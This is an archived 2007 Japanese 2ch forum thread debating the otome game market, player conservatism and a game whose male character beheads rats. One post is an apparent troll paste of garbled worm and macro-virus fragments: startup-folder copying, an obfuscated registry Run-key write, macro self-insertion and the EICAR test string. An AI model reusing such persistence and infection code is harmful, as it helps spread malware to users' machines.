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元のスレッド
乙女ゲーについて真面目に議論してみるスレ その４
- 1 名前：名無しって呼んでいいか？ ：07/10/28 15:27:34 ID:???
- なかなか発展しない乙女ゲー市場に必要なものとは？
問題点とは？乙女ゲーって名称ぶっちゃけどーよ？
それらについて議論してみましょう
ネタレスもｵｹｰ
過去スレ
乙女ゲーについて真面目に議論してみるスレ その３
http://game14.2ch.net/test/read.cgi/ggirl/1190367561/
乙女ゲーについて真面目に議論してみるスレ その２
http://game12.2ch.net/test/read.cgi/ggirl/1182509589/
乙女ゲーについて真面目に議論してみるスレ
http://game12.2ch.net/test/read.cgi/ggirl/1071912150/
- 2 名前：名無しって呼んでいいか？ ：07/10/28 15:32:49 ID:???
- 乙です
最近流れ早くなったね
- 3 名前：名無しって呼んでいいか？ ：07/10/28 15:50:57 ID:???
- >>1乙
とうとう4スレ目か
- 4 名前：名無しって呼んでいいか？ ：07/10/28 18:16:22 ID:???
- Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
- 5 名前：名無しって呼んでいいか？ ：07/10/29 06:13:43 ID:???
- ラウンコ
- 6 名前：名無しって呼んでいいか？ ：07/10/29 17:26:14 ID:???
- >>1乙
>>2
痛い嵐は別として、新作や移植が立て続けに発表されたからかな？
来年の1月〜春にかけては出費が多そうでwktk
- 7 名前：名無しって呼んでいいか？ ：07/10/29 17:34:42 ID:???
- >>6
良くも悪くも最近発表された新作やら移植もののインパクトが強かったんだと思う
内容の良し悪しはともかく今までに無いパターンが多かったからね
- 8 名前：名無しって呼んでいいか？ ：07/10/29 17:45:49 ID:???
- DUEL、ユア、GS2DS、ラブレボ
このあたりが雑誌に掲載されてからだよね
個人的には、白銀とプティフールも楽しみだ！
- 9 名前：名無しって呼んでいいか？ ：07/10/29 17:47:21 ID:???
- 来月はビタミンも来るみたいだし自分も白銀とあわせてすごく楽しみ
早く来年になってほしい
- 10 名前：名無しって呼んでいいか？ ：07/11/03 22:32:29 ID:???
- 即死が不安なので保守
- 11 名前：名無しって呼んでいいか？ ：07/11/07 09:52:12 ID:???
- 保守がてら
ゲーム発売後の派生ってどこまで追える？
公式アンソロとか小説とかの
公式二次創作ってたまに出るけど需要あるんだろうか？
- 12 名前：名無しって呼んでいいか？ ：07/11/07 10:05:38 ID:???
- 声オタじゃないから、キャラソンとか声優イベントとかよりは、
ドラマCDとか、小説、アンソロ の方が好きだな。
ドラマCDも声優目当てじゃなくて、なかのドラマのシナリオ目当て。
- 13 名前：名無しって呼んでいいか？ ：07/11/07 10:23:25 ID:???
- 自分もキャラソンやイベントはｲﾗﾈ
小説はライターの人が書いたのなら興味あるけど
関係無い作家だったらパスだなぁ
- 14 名前：名無しって呼んでいいか？ ：07/11/07 10:25:09 ID:???
- 自分は全然追っかけない
でも需要以上に製作者がどうなんだろうとたまに思う
プライド、とは違うのかもしれないけど
全力で作った作品があっさり別の解釈や展開に変わってしまう可能性があることを
不満に感じるような作り手っていないのかな
- 15 名前：名無しって呼んでいいか？ ：07/11/07 10:26:24 ID:???
- 自分も追っかけないけど、小説なら読もうと思うかもしれん
- 16 名前：名無しって呼んでいいか？ ：07/11/07 10:35:30 ID:???
- 制作者サイドは売れる、ｳﾏｰ!
で出してる場合と
もっとこの作品の別の面で楽しんで欲しい
って場合があるんじゃないだろうか
ｲﾍﾞﾝﾄは声オタサービスだと思うけどね
- 17 名前：名無しって呼んでいいか？ ：07/11/07 11:14:27 ID:???
- 関連商品が派生ソフトや次の作品につながるなら金落としたいけど
自分が好きになるゲームはグッズもイベもないものばかりｗ
良いのか悪いのか微妙だｗ
- 18 名前：名無しって呼んでいいか？ ：07/11/07 13:57:57 ID:???
- 小説なら立ち読んでゲーム時のイメージと食い違いを感じたり
○○ルートまんまとかじゃなければライターが違ってても買うけど
アンソロは好きな作家がいない限りは買わないなー、高いし
良い意味で作品の世界が広がるのなら派生商品が出るのはいいと思う
ただ下手に色々出して余計な設定が増えていったりキャラ崩壊したりは嫌だ
- 19 名前：名無しって呼んでいいか？ ：07/11/07 15:48:25 ID:???
- ドラマCDはキャラ崩壊しやすいよね
ゲームの収録自体発売の半年以上前ってザラだし
中の人がキャラ忘れてたり、ノリで過剰演技になったりで
良い意味でも悪い意味でも、声優さんのCDって感じだからなぁ
続編でキャラ変わってくのもアレだけど・・・
- 20 名前：名無しって呼んでいいか？ ：07/11/07 16:26:46 ID:???
- >>1にある発展って質のことかな？それとも市場的なものかな？
後者は、そもそも女性ゲーマーの数が少ないので緩やかなのはしょうがない気がする
- 21 名前：名無しって呼んでいいか？ ：07/11/09 23:42:44 ID:???
- 12月に発売予定のものが延期しないとすると
07年度の発売数は29本になるのか。
大分増えたなーと思うんだけど
そのわりには内容に広がりが出た風に感じないし、発展したって気もしない。
贅沢かな
- 22 名前：名無しって呼んでいいか？ ：07/11/10 08:38:13 ID:???
- >>21
君は贅沢だ
乙女ゲーマーたるもの斬新な世界観とそれによって生み出される非日常的なシチュエーション、
そしてそんな状況とは正反対の手堅さすら感じさせる声優の甘いセリフと美しいスチルさえ保証されていれば
何も望みはしないのだよ
直接の原因はメーカーの手抜きにあるんけど
ゲーム性にしろシナリオにしろ、中身の部分を作りこんでも売り上げに反映されないのが一番の問題だと思う
- 23 名前：名無しって呼んでいいか？ ：07/11/10 09:15:40 ID:???
- いやでもきちんと作りこまれていればそれなりの売上は出ているんじゃない？
もちろん乙女ゲ界の中を基準に、だけど。
一般ゲーに比べたらミジンコみたいな売上なんだろうかな。
あと発展しないのって、メーカーもそうだけど
ユーザーが保守的なのも原因にある気がする。
- 24 名前：名無しって呼んでいいか？ ：07/11/10 09:40:12 ID:???
- 声優に萌えて絵で購入を決め、プレイ後はキャラ萌えに走って粗に目をつぶるユーザーが多い限り
発展の二文字は考えられないな…
メーカーもそれをよく理解してる。あとはスパイスにエロでも入れとけばおｋ、みたいな。
- 25 名前：名無しって呼んでいいか？ ：07/11/10 09:48:54 ID:???
- 保守的だよねぇ
その狭さの中でよく頑張ってたなって気もするけど
成功失敗に関わらず
今年と来年にかけては、今までと毛色の違う作品が目立ってきたよね
緩やかな発展だけど
やっとユーザーが選べるって段階に来てるんじゃないかな
個人的には旅モノが出るとうれしいんだけどなぁ
- 26 名前：名無しって呼んでいいか？ ：07/11/10 10:04:48 ID:???
- ユーザーの保守的な要望ってどんなだろう
名前変換可能にしてほしい、くらいしか思いつかなかったけど
DQN主人公は嫌とか？
- 27 名前：名無しって呼んでいいか？ ：07/11/10 10:30:52 ID:???
- それは現状打開を阻害する保守的要望とは言い難いような。＞名前変換
むしろ、ストーリーがウンコなくらいなら、金太郎飴の内容でも絵が綺麗なのが1番！とか、
お約束のキャラクターパターンを揃えてちょっと泣けるエピソードを入れてあれば萌えられるから、
後は余計なものを付けたなさなくてもいいとか、そういうものでは？
- 28 名前：名無しって呼んでいいか？ ：07/11/10 10:57:17 ID:???
- >>27
プレイ後の感想でも
シナリオに不満もあったけどキャラ萌え出来たから十分とか
そういうのはよく見かけるな
妥協しちゃうってことかね
- 29 名前：名無しって呼んでいいか？ ：07/11/10 11:11:11 ID:???
- 乙女ゲをプレイする際の最優先事項を萌えと考えた場合、
それが満たされればある程度目的が達成されたってことになって
満足（妥協）できちゃうんじゃないかな
自分も萌えで他の不満点には目をつぶっちゃうタイプだけど
シナリオの穴はある程度スルーできても金太郎飴は嫌いだな
性格も考え方も違う人間全部が同じような行動に走るのは
キャラの個性を殺す大きなマイナスポイントだと思ってる
- 30 名前：名無しって呼んでいいか？ ：07/11/10 11:21:08 ID:???
- 絵と声の配点が９割近くを占めていそうな人が市場の最大顧客だからねぇ…
彼女たちにしてみれば好みじゃない絵柄のゲームを買うことのほうがよっぽど妥協してることになるんだろう
発売前から既に伝説になりつつある某ギャルゲー会社のラット処刑人にしたって、カズキヨネイラストだったら
「猟奇キャラｶｺｲｲ」「いままでの乙女テンプレを壊す革命の旗手」なんて声が結構上がっていたはず
- 31 名前：名無しって呼んでいいか？ ：07/11/10 11:27:11 ID:???
- 人気声優陣（まあ、よくあるパターン）＋美麗と言われる絵師（でも判子絵）
＋微エロシナリオ（エロ以外見所なし）＋システムが超もっさり
斬新な声優陣（キャラには合ってる）＋個性的な絵師(下手ではない)
＋起伏に富んだシナリオ（好みは分かれるかもしれないが、整合はある）
＋快適システム
だと、まず売れるのは前者なんだよね、勿論口コミで後者も伸びるだろうが
- 32 名前：名無しって呼んでいいか？ ：07/11/10 11:33:03 ID:???
- 後者におけるシナリオは実際にプレイしてみないとその人に合うか
わからないからいまいち他人にお薦めしにくいな
こんな展開があってすごいんだよーってのはネタバレになるから
言えないし、無理ではないけど難しい
- 33 名前：名無しって呼んでいいか？ ：07/11/10 11:35:26 ID:???
- まず『ストーリーがウンコ』っていう前提（>>27）がある以上、
キャラなり声優なり絵なりで 妥 協 する人を責めるのは可哀想な気がする……。
安くない金を出して買ったのだろうし。
「中身がヘ（ｒｙ でも売れるから中身が良くならないんだ」
っていう意見もわかるけど、
今以上に売れなかったらそもそも乙女ゲ自体が出なくなると思うんだ…。
タマゴが先か〜的になっちゃうけどさ。
- 34 名前：名無しって呼んでいいか？ ：07/11/10 11:48:38 ID:???
- >>30
タイトルｋｗｓｋ
- 35 名前：名無しって呼んでいいか？ ：07/11/10 11:49:59 ID:???
- 無意識に良かった探しをするってのもあるのかもな
7000円前後の金を払って褒める余地の無い駄作を掴まされたと思うと悲しいし
- 36 名前：名無しって呼んでいいか？ ：07/11/10 11:54:33 ID:???
- >>34
ユアオフ
登場人物の一人の特技がラットの首の早切り
- 37 名前：名無しって呼んでいいか？ ：07/11/10 12:12:54 ID:???
- >>35
あー、、、一般のレビューサイトでは散々の評価なのに、
一部で妙にマンセーされてる作品とかはそういう理由なのかな。
でもファンサイトや2chの単独スレでそういう状態ならまだしも、
amazonとかで異様なマンセー意見されてるのを見ると、
まだ知らないプレイヤーを同じ空しさの蟻地獄に
引き込もうとしてるようでちょっと怖いｗ
- 38 名前：名無しって呼んでいいか？ ：07/11/10 12:28:57 ID:???
- 乙女ゲー、値段の割りに満足できないものが多いなー
ゲームとして楽しめないとどんだけいい絵に甘い台詞をはかれても興醒めする
- 39 名前：名無しって呼んでいいか？ ：07/11/10 12:30:03 ID:???
- >>33
プレイヤーのストーリーに対する「クソ判定」がキツすぎることも問題だと思うけどな。
しかも本筋と関係ない部分を理由に挙げたりするし。糖度が足りんとか、その逆とか。すごいのになると
自 分 の 好 み じ ゃ な い
という一点だけで不満言う人もいるくらいだし。
- 40 名前：名無しって呼んでいいか？ ：07/11/10 12:37:16 ID:???
- >>30,36
え、あれくらいでどん引きなの？
どんだけ過敏なんだ乙女ゲーユーザー。
- 41 名前：名無しって呼んでいいか？ ：07/11/10 12:39:12 ID:???
- >>40
いや、どんだけ過敏なんだと言われても、普通引くでしょ。
18禁で陵辱系のギャルゲじゃあるまいし。
- 42 名前：名無しって呼んでいいか？ ：07/11/10 12:40:57 ID:???
- まーグロというかサイコ系っぽくも感じるものが
男キャラの特技欄に書かれていたら
乙女ゲーユーザーというか女性のみならず
引く人はいるんでないかなーとは思う。
まあ自分はﾊﾞｯﾁｺｲで予約予定だけどさｗ
- 43 名前：名無しって呼んでいいか？ ：07/11/10 12:43:56 ID:???
- >>41
その普通がちょいとばかし狭量なんじゃないの？
純愛系のギャルゲーじゃ、実験で身に着けたラットの首切り以上に過激なキャラたくさんいるよ。
猫を歩道橋から道路に落としたりとかさ。
- 44 名前：名無しって呼んでいいか？ ：07/11/10 12:45:55 ID:???
- >>43
男と女の感性は違う
それに全年齢のゲームでいきなり動物実験系はきついだろう
18禁以上なら「個性」で済むかもしれないけど
ああ、ユアオフの人か
- 45 名前：名無しって呼んでいいか？ ：07/11/10 12:48:40 ID:???
- >>43
>>41じゃないが、ﾑﾘﾑﾘﾑﾘ
ｷﾞｬﾙｹﾞじゃたくさんいると言われても、ﾑﾘ
設定聞いただけで具合悪くなる
- 46 名前：名無しって呼んでいいか？ ：07/11/10 12:49:34 ID:???
- >>44
真面目な話、男性の感性も取り入れたい。
いろいろな意味で「乙女ゲーらしさ」をぶっ飛ばしたいと思ってるよ。
一般ゲーみたいな世界観の乙女ゲーが出ないかな、といつも思う。
アルトネリコとかものすっごい世界観だよね。
ああいうのすら拒絶してちゃ、誰も挑戦なんかしないと思うんだよ。
- 47 名前：名無しって呼んでいいか？ ：07/11/10 12:52:42 ID:???
- 所詮はゲームなんだから、好きなものをやればいい。
ただ、特殊設定だと好みが分かれるということを踏まえて
売れなくても、開発陣やコアなファンが文句言わなきゃいいだけ。
- 48 名前：名無しって呼んでいいか？ ：07/11/10 12:55:52 ID:???
- >>46
色んなものを取り入れるべき、と言う意見には賛成だが
現状その新しいものを何か穿き違えてる気がするんだよね
欝とかグロとかエロとか極端なものに特化するなら、それ相応の
必然性が欲しいと思うし
普通に学園生活ほのぼのでも、ある日突然何かに巻き込まれるでも
新しい切り口はあると思うんだけどなあ
- 49 名前：名無しって呼んでいいか？ ：07/11/10 12:56:00 ID:???
- >>47
範囲は狭い、少しでも特殊設定があれば批判が出る、文句は多い、
ゲームとしての立場も低い、そんな市場に
目新しいもの、良いものが出てくると思ってるのかと。
- 50 名前：名無しって呼んでいいか？ ：07/11/10 12:57:39 ID:???
- >>48
何か履き違えてるものも、のちのちの発展に必要だと思うんだよ。
だって映画や小説や漫画など、物語を見せるジャンルの中でも一番地位が低く、
更にそのゲームの中でも最下層付近である乙女ゲーというジャンルの中なら。
- 51 名前：名無しって呼んでいいか？ ：07/11/10 12:59:36 ID:???
- >>46
取り入れたい ぶっ飛ばしたい
お前さんは何者なんだw
- 52 名前：名無しって呼んでいいか？ ：07/11/10 13:09:21 ID:???
- >>51
本当に社員乙だったってことかｗｗ
ユーザーなら取れいれてほしい、ぶっ飛ばしてほしい、のはずだもんなあ
- 53 名前：名無しって呼んでいいか？ ：07/11/10 13:11:42 ID:???
- つーか、ユーザーが保守的だなんだと批判をしながら
結局はこのスレの住人もあんな設定ひとつでどん引きなんだな。
洗練されたものがすぐに出るわけないじゃん。
男性向けエロゲだって、乙女の何倍、何十倍もの企業がしのぎを削って
その中でいろいろ培ってきて発展していったんだからさ。
>>51-52
おいおい…
＞ゲームが出ないかな、といつも思う
って言ってるのに、何で社員乙になるんだｗ
乙女ゲーをやってて、乙女ゲーらしさが出てくると感じることだよ。
- 54 名前：名無しって呼んでいいか？ ：07/11/10 13:11:46 ID:???
- >>50
ゲームをそこまで貶めた視点で見る理由は何？
ゲーム脳(笑)？
- 55 名前：名無しって呼んでいいか？ ：07/11/10 13:14:42 ID:???
- >>54
いい年こいてゲームをやってますと大手を振って言える？
世間じゃゲームなんて所詮は子供のお遊びなんだよ。
- 56 名前：名無しって呼んでいいか？ ：07/11/10 13:17:23 ID:???
- ただ他と違うってだけなら進歩とは呼べない
設定一つで駄作の烙印を押すわけじゃないけど今までと違うってだけで
評価しろっていうのならお門違いだと思う
- 57 名前：名無しって呼んでいいか？ ：07/11/10 13:19:12 ID:???
- >>56
誉めろとは言ってないよ。
ああいうのすら拒絶してちゃ、誰も挑戦なんかしないと言いたいんだよ。
- 58 名前：名無しって呼んでいいか？ ：07/11/10 13:23:01 ID:???
- これ、まず手堅い乙女ゲーを何本か出してそれなりの評価受けたあとに、
ユアオフを出してたら評価もまた違ったんでないかな。
ギャルゲで実績があっても、乙女ゲーでは新規参入なのに
最初からこういうキワモノを持ってくるから色々言われてしまうんでは。
- 59 名前：名無しって呼んでいいか？ ：07/11/10 13:23:19 ID:???
- ラットの首切りはいらねーとおもうけどなぁ＜ああいうの「すら？」
- 60 名前：名無しって呼んでいいか？ ：07/11/10 13:23:55 ID:???
- 直球じゃ勝負できないからああいう衝撃的なネタで注目集めるんじゃん
- 61 名前：名無しって呼んでいいか？ ：07/11/10 13:24:05 ID:???
- >>55
DSの流行でいい年した人もゲームするようになりつつあるけどね。
だいたい、地位だ何だって趣味趣向なんだから
そんなコンプレックスむき出しな言い方をしなくとも。
そればかりやってて趣味が狭くて社交性が低いとかなら
卑屈になるのもわかるけどさ。
私は社内広報に素直に趣味欄にゲームって書いたよ。
それ以外にもスポーツとかいろいろ書いた中の一つだけど。
- 62 名前：名無しって呼んでいいか？ ：07/11/10 13:27:39 ID:???
- なんだなんだ、今日はゲストに社員さんが来てるのか？
お姉さん張り切っちゃうぞ
ユアオフを例に挙げるけど。
新風を吹き込もうっていうよりもリサーチ不足の結果、あるいは製作者が自分の価値観を押し付けてるようにしか見えないのがいけない。
ギャルゲー作ってたっていう前歴に関してはまぁ自分は気にしてないよ（気にする人も結構いるけど）。
でも鬱や女性間の対立、猟奇的描写という、男性向けの名作には大体入っているこれらの要素は、
乙女にとっては購買意欲を削ぐものでしかないんだよ。ましてミックス。マイナスを乗算してるに等しい。
それでもぽっと出の自分たちの作品が評価されると思ってたのならよく言って無謀。はっきり言えば自意識過剰。
- 63 名前：名無しって呼んでいいか？ ：07/11/10 13:29:30 ID:???
- >>61
なんでそんな話に行くんだｗ 61の趣味欄なんかどうでもいいよ。
ゲームが趣味であることは、私自身は卑下してないし。
重要なのは、映画や小説、漫画よりゲームの地位が世間では低いってことだよ。
- 64 名前：名無しって呼んでいいか？ ：07/11/10 13:30:26 ID:???
- ときメモは本家３で冒険しすぎてGSはそれ以前の路線に戻ったよね
男向けでも何でもありで受け入れられるって訳じゃないよね
- 65 名前：名無しって呼んでいいか？ ：07/11/10 13:33:45 ID:???
- >>63
＞製作者が自分の価値観を押し付けてるようにしか見えない
それでもいいじゃないか。恋愛ゲーのシナリオなんかそんなもんだよ。
ラット首切りくらいでそうとまで言い切るなよ思うけど。
市場調査をあえて無視したのなら、そりゃ挑戦ってことだよ。
新しい要素というのは、製作側の動機はユーザーには見えないから、
ユーザーからしたら成功すれば挑戦、失敗すりゃ価値観の押し付けになるだけだ。
- 66 名前：名無しって呼んでいいか？ ：07/11/10 13:36:16 ID:???
- つうか、女性間の対立なんてＧＳですでにやってるっつーの。
- 67 名前：名無しって呼んでいいか？ ：07/11/10 13:43:53 ID:???
- >>64
当たり前だろ。
男性向けも、色々挑戦してきて色んな物が出てるんだよ。
その中には受け入れられたものもあれば、受け入れられなかったものもある。
ビスクだったか球体なんとかだったか忘れたけど、絵じゃなくて人形を使ったゲームもあるくらいだ。
- 68 名前：名無しって呼んでいいか？ ：07/11/10 13:45:17 ID:???
- 世間におけるゲームの評価とユアオフの設定が斬新と主張してるのは同じ人？
仮に首切り設定が乙女で受け入れられてもそれで世間の評価は上がらんだろ
ただでさえゲーム全体が犯罪の原因みたいに偏見持たれてるって言うのに
- 69 名前：名無しって呼んでいいか？ ：07/11/10 13:47:41 ID:???
- >>68
確かにどっちも私だけど、
首切り設定を受け入れられたら世間の評価が上がるって
いったい何の話だｗｗｗ
- 70 名前：名無しって呼んでいいか？ ：07/11/10 13:52:34 ID:???
- >>67
だからさ、出せばいいじゃん。
ただ新しいことに挑戦したからって売れるかどうかわからんし、
商品である以上、売れなければ失敗扱いされるんだと、
開発者が自覚さえしてるんなら、それでいいってだけだ。
- 71 名前：名無しって呼んでいいか？ ：07/11/10 13:54:08 ID:???
- なんかガルスタのユアオフインタビューを受けてた奴っぽいのが
混ざってる気がするのは私だけだろうか
- 72 名前：名無しって呼んでいいか？ ：07/11/10 13:57:13 ID:???
- 早くユアオフ出ないかな
そうしたら、売れる売れない云々だけは片が付くのに
- 73 名前：名無しって呼んでいいか？ ：07/11/10 13:58:47 ID:???
- >>69
ユアオフの斬新な設定（笑）を拒むような度量の狭さの持ち主ばかりしか
ユーザーにいないから乙女ゲの地位はいつまでも低いんだよ、
と言わんばかりだと思ってたが違うのか
そりゃ悪いこと言ったな
- 74 名前：名無しって呼んでいいか？ ：07/11/10 14:10:07 ID:???
- >>46の頭二行はどの立場で書いてるのですか
- 75 名前：名無しって呼んでいいか？ ：07/11/10 14:12:16 ID:???
- >>74
きっとその辺を書いてる時は社員の生霊が乗り移ってたんだよ
つまり>>46はイタコ
- 76 名前：名無しって呼んでいいか？ ：07/11/10 14:25:13 ID:???
- まあでも、ユアスレ住人な>>42としては
工作や脊髄反射的な擁護もウザイけど
ヒステリックな叩きもウザイなとは思ったな。
拒否反応はあって当たり前と思うんだけど
「こんなの乙女ゲーじゃない」的なのはどうもね。
そういう意味で、この市場が保守的すぎるという点においてだけは、
今一人で頑張ってる人に同意かな。
- 77 名前：名無しって呼んでいいか？ ：07/11/10 14:26:16 ID:???
- ニーズを無視するのが挑戦ってなんだよ、ただのオナニーじゃんか
それを受け入れないから乙女ゲーは発展しないとかｗｗ
一人で頑張ってくださいね
- 78 名前：名無しって呼んでいいか？ ：07/11/10 14:34:37 ID:???
- グロ、猟奇が入った乙女ゲーが出るくらいなら今まで通りでいいと思ったorz
求めるものが違うんだな。
- 79 名前：名無しって呼んでいいか？ ：07/11/10 14:39:03 ID:???
- いや、挑戦するにしても限度あるから。
極端に先鋭的なものに対しては、
保守云々の前に警戒するの当たり前だろう。
- 80 名前：名無しって呼んでいいか？ ：07/11/10 14:44:55 ID:???
- そうだなぁ…保守ってか警戒だよね
特技にわざわざあれを持ってくるからには
それが本編のどこかで生かされるだろうと思ってしまう
生かさないならなんでそんな特技をあえて設定したんだと思ってしまうし…
それを挑戦だと受け止められない自分に問題ありと言われたらそれまでだが
- 81 名前：名無しって呼んでいいか？ ：07/11/10 14:46:47 ID:???
- 乙女ゲの全体の本数からしたら
「色々な設定」はむしろたくさん出てるような気がするんだけど…
主人公が１００ｋｇとか子持ち40歳（近く？）とか汗拭きとか（ｒｙ
挑戦するよりも先に、お約束設定で構わないから良質なゲームをもっと沢山出して欲しいんだけどなー。
- 82 名前：名無しって呼んでいいか？ ：07/11/10 14:48:45 ID:???
- >>77
猟奇的なものは激しく拒絶する人がいるだけで、
まったくのニーズがないわけじゃないけど、まあそれはともかく
色々なものを受け入れる以外、どんな発展の仕方があるかは聞いてみたいな。
主に広がりという点で。
- 83 名前：名無しって呼んでいいか？ ：07/11/10 14:49:01 ID:???
- ユアオフ擁護の人って
斬新で革命的で幅のある乙女ゲ→ラット首切り
ラット首切りを受け入れない乙女ゲマは保守的で
乙女ゲの発展を阻害する
でおｋ？
- 84 名前：名無しって呼んでいいか？ ：07/11/10 14:50:05 ID:???
- >>81
それは結構出てるんじゃない？
ファンタジーならアンジェ、歴史ものなら遙か、学園物ならＧＳ。
- 85 名前：名無しって呼んでいいか？ ：07/11/10 14:51:31 ID:???
- >>84
乙女ゲそんなにやらんけど、良質ゲーがそれだけってことはなかろう…
ジャンル別に書き出してみるのもいいかもな
- 86 名前：名無しって呼んでいいか？ ：07/11/10 14:52:56 ID:???
- >>81
確かにその手のほうが多い気はするね
男性向けを参考にするって言うなら、現代学園物で泣きゲーとか
シナリオ特化型もあったらいいのに
ノベルゲーでいいからさ
- 87 名前：名無しって呼んでいいか？ ：07/11/10 14:53:29 ID:???
- ラット首切り設定の件で改めて気になったのが
>>76も言ってるけど、その拒否の理由としてまず
「乙女ゲーなのに〜」ってつけることかな。
そんな特技の攻略対象嫌だとか個人感情には同感だったし納得いくけど
（自分も引いたし）
どうしてジャンルそのものを持ち出して言うかが分からない。
乙女ゲー名乗るのが許せないなんて本気で言ってる人もちらほらいたし…
名前変更とかもそうだよね
名前変更のない乙女ゲなんて乙女ゲじゃないとか
- 88 名前：名無しって呼んでいいか？ ：07/11/10 14:56:45 ID:???
- >>86
実は、男性向けでもファンタジーやＳＦ要素がまったく無い泣きゲーって少ないんだよね。
男性向けから移行したクチだけど、乙女ゲーのファンタジー要素の少なさに驚いた。
非現実的要素を「色々な設定」と言うなら、男性向けの方が多い。
- 89 名前：名無しって呼んでいいか？ ：07/11/10 14:57:29 ID:???
- ＞「乙女ゲーなのに〜」
この手の言葉を本気でとる人がいるとはｗ
- 90 名前：名無しって呼んでいいか？ ：07/11/10 14:58:51 ID:???
- つまり体重100k超え主人公が異世界召喚、女王候補で妖精が見えて
パラ上げしながらラット斬りの得意な男の汗を拭けばいいんだな
- 91 名前：名無しって呼んでいいか？ ：07/11/10 14:59:00 ID:???
- >>89
でもネタで言ってるわけでもないでしょ。
自分の感情を正当化する理由として言ってるんだと思う。
- 92 名前：名無しって呼んでいいか？ ：07/11/10 15:00:02 ID:???
- >>90
おｋ
- 93 名前：名無しって呼んでいいか？ ：07/11/10 15:02:27 ID:???
- >>89
>>91
2ｃｈ内限定のことじゃないからね＞乙女ゲなのに〜
むしろ外の方でよく聞く
- 94 名前：名無しって呼んでいいか？ ：07/11/10 15:03:36 ID:???
- >>90
「主人公は子持ちの４０歳近く」を忘れちゃダメなんだぞ？
- 95 名前：名無しって呼んでいいか？ ：07/11/10 15:04:29 ID:???
- つうか、真面目な話みんなどんなゲームを期待してるの？
正統派の良作なら、大手がすでに出してきてると思うんだけどな。
- 96 名前：名無しって呼んでいいか？ ：07/11/10 15:06:09 ID:???
- >>90
そこまでやってくれるなら買うよｗ
まあ万が一出たらパクリで叩かれても文句は言えんな
- 97 名前：名無しって呼んでいいか？ ：07/11/10 15:08:12 ID:???
- >>95
純粋なネタゲーとかちょっと欲しい
デブもビタミンもムスコもなんかずれてるし
- 98 名前：名無しって呼んでいいか？ ：07/11/10 15:08:24 ID:???
- >91
友達との会話で「○○って××なのに、ありえんよね〜」みたいな会話したことないの？
そういうのいちいち本気にとってるの？
- 99 名前：名無しって呼んでいいか？ ：07/11/10 15:08:24 ID:???
- 自分は出たものから選ぶから、
特にこういうものが欲しいってのは無いんだよな
具体的にある人もいるのかな
- 100 名前：名無しって呼んでいいか？ ：07/11/10 15:11:47 ID:???
- 個人的な希望しか言えないけど、
良質なシステムのRPG、あとは本格的なホラーとかミステリーなんかがやりたいな
- 101 名前：名無しって呼んでいいか？ ：07/11/10 15:12:07 ID:???
- >>95
個人的には八犬士みたいな王道から大幅にずれる展開で
それを十二分に活かせて面白さに繋げてるのをやってみたい。
そういう変り種が受けたら、乙女ゲーはこうあるべき
みたいな固定観念も崩れていくと期待してるんだけど
- 102 名前：名無しって呼んでいいか？ ：07/11/10 15:12:12 ID:???
- >>95
んだな、大手メーカーが出す訳でない
世間一般における乙女ゲーの印象を左右するほどの話題作でもない
マイナー作品なら、なんでもアリでいいんじゃないかなと思う。
気に入らない乙女ユーザーは叩きつつ買わなきゃいい話、
売れなきゃその冒険かそのメーカー自体がそれで終わるだけの話。
何も存在の否定までする必要はないっていうか。
っていうか書いてて思ったけど
世間一般の乙女ゲーの印象ってどんなんなんだろｗ
- 103 名前：名無しって呼んでいいか？ ：07/11/10 15:13:35 ID:???
- >>98
本人がそれを言った理由と、他人がどう思ったかは関係ないし。
- 104 名前：名無しって呼んでいいか？ ：07/11/10 15:22:17 ID:???
- >>97
ネタゲーってよくわからないんだけど、
例えばどういう感じの？
- 105 名前：名無しって呼んでいいか？ ：07/11/10 15:23:21 ID:???
- >>97
今のところDUELがそれにあたりそうな？
- 106 名前：名無しって呼んでいいか？ ：07/11/10 15:25:35 ID:???
- ユアの件はラスエスヒロインのニート設定を彷彿させるな。
あれは結局、話題狙いだったのか…謎だ
- 107 名前：名無しって呼んでいいか？ ：07/11/10 15:28:43 ID:???
- そういえば当初ラスエスもホストなんてありえんわーって言われてたね。
今は叩かれもするけどFDも出てるし、受け入れられた感じがする。
- 108 名前：名無しって呼んでいいか？ ：07/11/10 15:35:09 ID:???
- 発売前にいろいろ文句言われることがあっても、
発売後に客観的に見ても結構な良ゲーなのに
設定が乙女ゲらしくないってだけで不当に評価されてる…
みたいなケースはない気がする。
結局、内容次第ってことか
- 109 名前：名無しって呼んでいいか？ ：07/11/10 15:36:52 ID:???
- >>105
97じゃないがDUELはネタゲーだろうなｗ
- 110 名前：名無しって呼んでいいか？ ：07/11/10 15:37:57 ID:???
- 自分も嫌いなら嫌いで構わないし、駄作はどうあれ駄作と思うが
「乙女ゲームとしてありえない」「大多数の乙女ゲームユーザーは受け入れない」
という理由で駄作と批判するのには違和感あるな
ずっと昔、少女漫画といえばこんなもの、こうあるべきといった認識しかなかったころ
そうした常識をくつがえす漫画家があらわれて変わっていったように
いつか窮屈な空気を破る名作があらわれると信じるよ
- 111 名前：名無しって呼んでいいか？ ：07/11/10 16:09:36 ID:???
- おととしぐらいまではそうでもなかったけど
今年に入って、完全に選ぶ時代に突入したかなって気はする。
- 112 名前：名無しって呼んでいいか？ ：07/11/10 16:12:03 ID:???
- DUELがネタゲーとしてある意味受け入れられていったように、
女性はわりと柔軟だと思うんだよね
例のユアの「特技欄にラットの首切り」が反感を買ったのは
乙女ゲー的にどうこう以前の問題だから仕方ない。
どうしてもゲームに必要な設定でシナリオ内で語るならまだしも
あれではDQN好き乙女の興味をひこうとするDQN演出にしかみえないよ。
